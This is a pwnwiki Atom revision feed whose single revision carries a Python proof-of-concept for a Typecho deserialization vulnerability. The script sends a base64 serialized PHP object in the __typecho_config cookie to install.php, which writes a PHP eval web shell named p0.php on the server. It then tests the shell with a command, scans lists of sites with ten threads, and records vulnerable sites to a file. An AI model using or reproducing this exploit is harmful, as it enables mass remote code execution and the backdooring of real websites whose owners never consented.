<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Typecho%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E</id>
	<title>Typecho反序列化漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Typecho%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Typecho%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-21T03:38:15Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Typecho%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E&amp;diff=1450&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==POC== &lt;pre&gt; #/usr/bin/env python # -*- coding: UTF-8 -*- import getopt,sys import requests import sys import string import time import threading  class check(threading.Threa...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Typecho%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E&amp;diff=1450&amp;oldid=prev"/>
		<updated>2021-04-10T05:14:18Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==POC== &amp;lt;pre&amp;gt; #/usr/bin/env python # -*- coding: UTF-8 -*- import getopt,sys import requests import sys import string import time import threading  class check(threading.Threa...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#/usr/bin/env python&lt;br /&gt;
# -*- coding: UTF-8 -*-&lt;br /&gt;
import getopt,sys&lt;br /&gt;
import requests&lt;br /&gt;
import sys&lt;br /&gt;
import string&lt;br /&gt;
import time&lt;br /&gt;
import threading&lt;br /&gt;
&lt;br /&gt;
class check(threading.Thread): &lt;br /&gt;
    def __init__(self, url, sem):&lt;br /&gt;
        super(check, self).__init__()     #继承threading类的构造方法，python3的写法super().__init__()&lt;br /&gt;
        self.url = url&lt;br /&gt;
        self.sem = sem&lt;br /&gt;
&lt;br /&gt;
    def run(self):&lt;br /&gt;
        headers = {&lt;br /&gt;
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0',&lt;br /&gt;
                'Referer': self.url,&lt;br /&gt;
                'cookie': &amp;quot;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==&amp;quot;&lt;br /&gt;
                }&lt;br /&gt;
        try:&lt;br /&gt;
            reqs=s.get(self.url,timeout=3,headers=headers,allow_redirects=False)&lt;br /&gt;
            #print(reqs.status_code),&lt;br /&gt;
        except IOError:                  #如果网站打不开将输出fail&lt;br /&gt;
            print(&amp;quot;time out 1&amp;quot;)&lt;br /&gt;
        urls=self.url+&amp;quot;/p0.php&amp;quot;&lt;br /&gt;
        urlsss=self.url+&amp;quot;/install.php?finish=1&amp;quot;&lt;br /&gt;
        payloads={'p0':'echo &amp;quot;sectest&amp;quot;;'}&lt;br /&gt;
        try:&lt;br /&gt;
            reqss=s.post(urls,allow_redirects=False,timeout=3,data=payloads)#测试是否文件创建成功&lt;br /&gt;
            body=reqss.text&lt;br /&gt;
            if body.find('sectest')!=-1:&lt;br /&gt;
                 print(&amp;quot;web is success-----&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;quot;+self.url)&lt;br /&gt;
                 with open(&amp;quot;./success.txt&amp;quot;, &amp;quot;a+&amp;quot;) as f1:&lt;br /&gt;
                    f1.write(self.url + &amp;quot;\n&amp;quot;)&lt;br /&gt;
            else: &lt;br /&gt;
                 print(&amp;quot;web is fail--------&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;quot;+self.url)&lt;br /&gt;
            print('\n')&lt;br /&gt;
        except IOError:                  #如果网站打不开将输出fail&lt;br /&gt;
            print(&amp;quot;time out 2&amp;quot;)&lt;br /&gt;
        self.sem.release()&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    reload(sys)#同下解决中文乱码&lt;br /&gt;
    sys.setdefaultencoding('utf-8')#解决中文乱码&lt;br /&gt;
    f = open(&amp;quot;./1.txt&amp;quot;)#打开批量扫描的网站文件&lt;br /&gt;
    s=requests.Session()&lt;br /&gt;
    sem = threading.Semaphore(10)      #最大线程数为10个&lt;br /&gt;
    for line in f.readlines():#读取每一行的网站&lt;br /&gt;
            line=line.strip('\n')#消去换行&lt;br /&gt;
            url=line#每行的网站赋值给url&lt;br /&gt;
            host_thread = check(url,sem)&lt;br /&gt;
            host_thread.start()#执行check()的执行函数&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>